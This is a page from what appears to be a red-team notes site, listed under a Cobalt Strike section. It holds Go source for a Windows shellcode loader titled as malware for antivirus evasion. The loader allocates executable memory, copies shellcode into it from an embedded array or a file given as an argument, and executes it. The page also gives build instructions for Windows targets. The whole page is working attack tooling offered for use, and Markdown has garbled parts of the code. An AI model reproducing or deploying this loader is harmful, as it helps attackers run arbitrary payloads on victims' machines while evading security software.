> For the complete documentation index, see [llms.txt](https://0xdecaf2bad.gitbook.io/red-team-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xdecaf2bad.gitbook.io/red-team-notes/39-cobalt-strike/malware_av_evasion--main.go.md).

# malware\_av\_evasion--main.go

MAIN.GO package main

import ( "io/ioutil" "os" "syscall" "unsafe" )

const ( MEM\_COMMIT = 0x1000 MEM\_RESERVE = 0x2000 PAGE\_EXECUTE\_READWRITE = 0x40 )

var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") shellcode\_calc = \[]byte{ //insert shellcode here in the form of 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, etc then compile with GOOS=windows GOARCH=amd64 go build or GOOS=windows GOARCH=386 go build

} )

func checkErr(err error) { if err != nil { if err.Error() != "The operation completed successfully." { println(err.Error()) os.Exit(1) } } }

func main() { shellcode := shellcode\_calc if len(os.Args) > 1 { shellcodeFileData, err := ioutil.ReadFile(os.Args\[1]) checkErr(err) shellcode = shellcodeFileData }

addr, *, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM\_COMMIT|MEM\_RESERVE, PAGE\_EXECUTE\_READWRITE) if addr == 0 { checkErr(err) }* , \_, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(\&shellcode\[0])), uintptr(len(shellcode))) checkErr(err) syscall.Syscall(addr, 0, 0, 0, 0) }